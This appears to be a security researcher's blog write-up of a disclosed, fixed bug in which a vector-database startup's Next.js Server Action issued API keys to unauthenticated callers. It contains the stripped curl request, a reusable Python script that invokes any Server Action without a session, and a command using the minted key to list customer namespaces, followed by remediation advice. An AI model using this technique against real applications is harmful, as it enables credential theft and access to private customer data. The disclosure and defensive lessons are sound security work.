# Hacking AI Infrastructure: The Header That Minted API Keys

By Leon Johnson, 2026-09-14. Web version: https://sholuv.net/blog/posts/ai-infra-server-action-keys/

![The JWT guards the front door while a Server Action side door mints API keys straight to the customer data](images/hero-server-action-v2.jpg)

This is part one of a two part series on breaking into AI infrastructure. The companies are anonymized, the bugs are real, and both were fixed fast once reported. The point of writing them up is the pattern, because the same pattern is sitting in a lot of AI startups right now.

Part one is about a vector database company. Think of the product as the memory layer behind a RAG app: you hand it embeddings of your private documents, it hands back the nearest matches. The crown jewels are the namespaces, the buckets of vectors that belong to each customer. Get an API key for a namespace and you can read what is in it.

I got an API key without logging in. Here is how.

## Hacking JWTs...

The app used JSON Web Tokens for sessions. So of course I spent the first afternoon there, because I was looking for the easiest path to a finding.

The token was a standard HS256 JWT. Symmetric key, one secret signs and verifies. The payload was a normal user object, an issued-at time, and an expiry a week out.

```json
{
  "alg": "HS256",
  "typ": "JWT"
}
```

I ran my own tool, [jwtmap](https://github.com/sho-luv/jwtmap), which throws the usual JWT attacks at a request and tells you which ones stick.

```
Vulnerability Tests...
[+] Algorithm confusion attack: NOT VULNERABLE
[+] None algorithm attack:      NOT VULNERABLE
[+] Signature stripping:        NOT VULNERABLE

[+] JWT is required
[+] JWT signature is checked
```

Nothing. The JWT was done right. Signature enforced, no `alg: none`, no RS256 to HS256 downgrade, and the signing secret did not crack. I wrote this tool because on a previous assessment I found an issue that I was able to exploit in a JWT. I had no such luck on this assessment.

Here they were looking good. Good for them I'm not sad I didn't get to hack them in the slightest here... So I moved on. I started looking at the entire authentication flow. 

## Hacking Next Actions

![Action Jackson loves Next Actions](images/action-jackson.jpg)

The frontend was a Next.js app, and it used React Server Actions. If you have not used them, a Server Action is a function that runs on the server but that you call as if it were local. React wires up the plumbing. Under the hood, calling one is just an HTTP POST with a special header that names which server function to run:

```
Next-Action: <action-id>
```

The `<action-id>` is an opaque hash that maps to a specific function in the server bundle. The browser figures these out from the page you loaded. Watching the dashboard create an API key in Burp, I could see the whole exchange: a POST to a dashboard URL, a `Next-Action` header naming the "create key" function, and a small JSON body with the org identifier.

So I asked the obvious question. What checks that I am allowed to run that function?

I stripped the request to the bone. No JWT. No session cookie. No CSRF token. Just the `Next-Action` header and the org id in the body.

```zsh
curl -X POST "https://<redacted-host>/<any-app-route>" \
     -H "Next-Action: <action-id>" \
     -H "Content-Type: application/json" \
     --data-binary "[\"<tenant-id>\"]" \
     -k -i
```

It returned a fresh API key.

![API keys? It's Action Time!](images/action-jackson-pointing.jpg)

No login. No token. The Server Action that minted API keys never checked who was calling it. React makes these functions feel like private internal calls, and it is easy to forget that on the wire they are just public POST endpoints that anyone can hit. Authentication lived in the UI flow around them, not in the function itself.


It got better. I did not even need a real org id. Sending a made up group id of `"bogus"` in the body, with no auth of any kind, still came back with a valid key. I didn't even get to see what impact these ghost API keys had, because the client fixed the bug as soon as I verified I could view their data. Record speed I'm talking here.

![Burp showing a stripped request with an invalid group id still returning an API key](images/server-action-bogus-group-id.png)

## Automating the Next Action Hack

One key by hand is a finding. A script that fires the action on demand is a demonstration. The technique is general, so the tool is too: point it at any route in the app, hand it the `Next-Action` id, and pass whatever arguments the action expects as a JSON array. No session, no token. If the action does not check who is calling, it runs, and its return value comes back in the streamed response.

```python
#!/usr/bin/env python3
"""Invoke a Next.js Server Action with no authentication.

A Server Action is reached by POSTing to a route in the app with a
`Next-Action` header naming the action. The body is a JSON array of the
action's arguments. If the action skips the session and tenant checks, it
runs for anyone, and whatever it returns shows up in the response.
"""
import argparse, json, requests

def call_action(url, action_id, args, proxy=None):
    proxies = {"http": proxy, "https": proxy} if proxy else None
    return requests.post(
        url,
        headers={"Next-Action": action_id, "Content-Type": "application/json"},
        data=json.dumps(args),
        proxies=proxies,
    )

if __name__ == "__main__":
    ap = argparse.ArgumentParser()
    ap.add_argument("--url", required=True, help="Any route in the target app")
    ap.add_argument("--action-id", required=True, help="Next-Action header value")
    ap.add_argument("--args", default="[]", help="JSON array of arguments")
    ap.add_argument("--proxy", help="e.g. http://127.0.0.1:8080")
    a = ap.parse_args()

    resp = call_action(a.url, a.action_id, json.loads(a.args), a.proxy)
    print(resp.status_code)
    print(resp.text)  # the action's return value is in here
```

To prove impact without touching a real customer, I asked the vendor for a test tenant they controlled and minted a key for it. Then I used that key against the data API and listed the namespaces under the org.

```zsh
curl -H "Authorization: Bearer <minted-key>" \
  "https://api.<redacted-host>/<list-namespaces>" | jq
```

The key worked. It was a real key with real read access to the org's namespaces. In a vector database, those namespaces are embeddings of whatever the customer fed the system: support tickets, contracts, source code, medical notes. An unauthenticated header got me a valid key to that.

## The fix

The fix is the boring, correct one. Server Actions are endpoints, so they need the same authorization checks as any other route. The `Next-Action` header is not a secret and it is not an auth token, it is a router key. Every action that touches tenant data has to verify the caller's session and that the caller belongs to the org in the request, server side, inside the function. Next.js says as much in its own [authentication guidance](https://nextjs.org/docs/app/guides/authentication): treat Server Actions like public API routes.

The vendor patched it within a day of the report.

<img alt="Now you know about Next.js Server Actions, unironic biceps close-up" src="images/next-actions-handshake.jpg">

## Why this keeps happening to AI companies

Nothing here is specific to AI. It is a Next.js authorization bug, the kind that has existed since the framework shipped Server Actions. What makes it worth writing up is where it lands.

AI infrastructure startups move fast and lean hard on the framework to do the right thing by default. The team's attention goes to the hard, novel parts, the vector math, the ranking, the latency, and the dashboard that mints API keys gets built the quick way with a Server Action and a click handler. The JWT gets a security review because JWTs are the thing everyone knows to review. The Server Action does not, because it does not look like an endpoint.

So the lesson for anyone building on this stack:

- **Your auth boundary is not always where you think it is.** A perfect JWT means nothing if the sensitive action next to it checks nothing.
- **Server Actions are public endpoints.** Anyone who has loaded your page knows the action id. Authorize inside the function.
- **The most valuable thing to protect is credential issuance.** If minting an API key is easier than logging in, that is the whole game.

Part two moves from the dashboard to the compute. Next time, we deploy a model whose inference entry point executes a reverse shell.
